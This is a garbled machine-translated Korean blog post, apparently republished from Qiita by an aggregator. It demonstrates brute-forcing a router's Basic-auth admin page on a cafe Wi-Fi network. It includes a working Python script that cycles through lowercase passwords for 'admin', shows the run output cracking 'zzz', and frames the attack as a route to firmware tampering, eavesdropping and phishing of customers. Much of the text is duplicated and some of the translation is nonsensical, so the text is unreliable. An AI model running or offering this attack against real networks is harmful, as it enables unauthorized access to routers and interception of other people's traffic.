공유기 관리 페이지의 블루스 공격
배경.
학교와 카페 등에서 제공하는 와이파이 네트워크는 이용자의 단말기도 192.168이다.X.1에서는 화면 관리 페이지를 여는 경우가 많습니다.물론 비밀번호는 필요하지만 블루스 공격(총공격)에 따라 비밀번호를 정할 때도 있다.이를 통해 관리 화면에 들어가 임의의 펌웨어를 배치해 조별 도청과 낚시 등을 마음대로 할 수 있다.네가 어제 갔던 카페에서 걸었던 SNS 비밀번호가 지금 아마 검은 그물에 노출되었을 것이다
개요
이번에는 ELCOM의 Basic 인증 관리 화면에 블루 펀치 공격을 설정하고 비밀번호를 확인해 봤다.
컨디션
이번에는 ELCOM의 Basic 인증 관리 화면에 블루 펀치 공격을 설정하고 비밀번호를 확인해 봤다.
컨디션
공격 전 확인
개인이 운영하는 카페는 홈 와이파이 라우터를 접속점으로 제공한다.손님들은 메뉴에 적힌 비밀번호를 이용해서 와이파이에 접근한다.물론 공격자도 방문할 수 있다.
공격자는 천천히 다음 명령을 내려 자신의 IP 주소를 확인한다.
waru@waru-PC:~$ ifconfig
wlo1: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.2.100 netmask 255.255.255.0 broadcast 192.168.2.255
나의 IP 주소는 192.168.2.100이다.
라우터 관리 페이지의 URL은 반드시 "http://192.168.2.1"인 셈이다.대부분의 라우터가 서브넷 1에 관리 페이지를 구성했기 때문이다.
브라우저에서 열면 다음과 같이 표시됩니다.
이때도 [user:admin pass:admin]을 치는 등 접근할 수 있는 경우가 있지만 이번에는 안 된다.
다음 코드의 번호입니다.
코드
사용자를 관리자에 고정시키고 문자 길이를 늘리는 동시에 소문자의 모든 조합을 순서대로 생성하며 사용자와pass로 접근하려는 코드를 사용합니다.
router_admin_brute_force.pyimport requests
import string
import numpy as np
target_ip = 'http://192.168.2.1/'
def access(user: str, password: str):
response = requests.get(target_ip, auth=(user, password))
if response.status_code == 401:
raise ConnectionError
if "please try" in response.text:
raise ConnectionError
chars = ["0"] + list(string.ascii_lowercase)
# ref:https://stackoverflow.com/questions/2267362/how-to-convert-an-integer-in-any-base-to-a-string
digs = chars
def int2base(x, base):
digits = []
while x:
digits.append(digs[int(x % base)])
x = int(x / base)
digits.reverse()
return ''.join(digits)
i = 0
while True:
i += 1
password = int2base(i,len(chars))
try:
access(user="admin", password=password)
except:
pass
else:
print(f"success:{password}")
break
실행 결과
waru@waru-PC:~/Programs/router_hack$ python3 router_admin_brute_force.py
success:zzz
zz라는 비밀번호를 지정했습니다."http://192.168.2.1"를 넣어 보세요.
넣었어.그리고 끓여도 좋고 끓여도 좋고.
고찰하다.
이번에는 특별히 공유기에 zzz라는 짧은 비밀번호를 설정했지만 상기 코드의 특정 시간은 10분이다.그리고 큰 문자, 숫자, 특수 문자를 고려하지 않았는데 이런 것들을 더하면 실행 시간이 커지겠죠.그러나 이 같은 코드는 적합하지 않을 수 있기 때문에 시간적으로 비현실적인 공격 방법이라고 할 수는 없다.코드 분류 등을 진행하면 개선된 점을 발견할 수 있다.
어쨌든 이번엔 끝이야.
Reference
이 문제에 관하여(공유기 관리 페이지의 블루스 공격), 우리는 이곳에서 더 많은 자료를 발견하고 링크를 클릭하여 보았다
https://qiita.com/bunnyhopper_isolated/items/90efd8d2f8fbcdb2af01
텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
우수한 개발자 콘텐츠 발견에 전념
(Collection and Share based on the CC Protocol.)
waru@waru-PC:~$ ifconfig
wlo1: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.2.100 netmask 255.255.255.0 broadcast 192.168.2.255
사용자를 관리자에 고정시키고 문자 길이를 늘리는 동시에 소문자의 모든 조합을 순서대로 생성하며 사용자와pass로 접근하려는 코드를 사용합니다.
router_admin_brute_force.py
import requests
import string
import numpy as np
target_ip = 'http://192.168.2.1/'
def access(user: str, password: str):
response = requests.get(target_ip, auth=(user, password))
if response.status_code == 401:
raise ConnectionError
if "please try" in response.text:
raise ConnectionError
chars = ["0"] + list(string.ascii_lowercase)
# ref:https://stackoverflow.com/questions/2267362/how-to-convert-an-integer-in-any-base-to-a-string
digs = chars
def int2base(x, base):
digits = []
while x:
digits.append(digs[int(x % base)])
x = int(x / base)
digits.reverse()
return ''.join(digits)
i = 0
while True:
i += 1
password = int2base(i,len(chars))
try:
access(user="admin", password=password)
except:
pass
else:
print(f"success:{password}")
break
실행 결과
waru@waru-PC:~/Programs/router_hack$ python3 router_admin_brute_force.py
success:zzz
zz라는 비밀번호를 지정했습니다."http://192.168.2.1"를 넣어 보세요.
넣었어.그리고 끓여도 좋고 끓여도 좋고.
고찰하다.
이번에는 특별히 공유기에 zzz라는 짧은 비밀번호를 설정했지만 상기 코드의 특정 시간은 10분이다.그리고 큰 문자, 숫자, 특수 문자를 고려하지 않았는데 이런 것들을 더하면 실행 시간이 커지겠죠.그러나 이 같은 코드는 적합하지 않을 수 있기 때문에 시간적으로 비현실적인 공격 방법이라고 할 수는 없다.코드 분류 등을 진행하면 개선된 점을 발견할 수 있다.
어쨌든 이번엔 끝이야.
Reference
이 문제에 관하여(공유기 관리 페이지의 블루스 공격), 우리는 이곳에서 더 많은 자료를 발견하고 링크를 클릭하여 보았다
https://qiita.com/bunnyhopper_isolated/items/90efd8d2f8fbcdb2af01
텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
우수한 개발자 콘텐츠 발견에 전념
(Collection and Share based on the CC Protocol.)
waru@waru-PC:~/Programs/router_hack$ python3 router_admin_brute_force.py
success:zzz
이번에는 특별히 공유기에 zzz라는 짧은 비밀번호를 설정했지만 상기 코드의 특정 시간은 10분이다.그리고 큰 문자, 숫자, 특수 문자를 고려하지 않았는데 이런 것들을 더하면 실행 시간이 커지겠죠.그러나 이 같은 코드는 적합하지 않을 수 있기 때문에 시간적으로 비현실적인 공격 방법이라고 할 수는 없다.코드 분류 등을 진행하면 개선된 점을 발견할 수 있다.
어쨌든 이번엔 끝이야.
Reference
이 문제에 관하여(공유기 관리 페이지의 블루스 공격), 우리는 이곳에서 더 많은 자료를 발견하고 링크를 클릭하여 보았다 https://qiita.com/bunnyhopper_isolated/items/90efd8d2f8fbcdb2af01텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
우수한 개발자 콘텐츠 발견에 전념 (Collection and Share based on the CC Protocol.)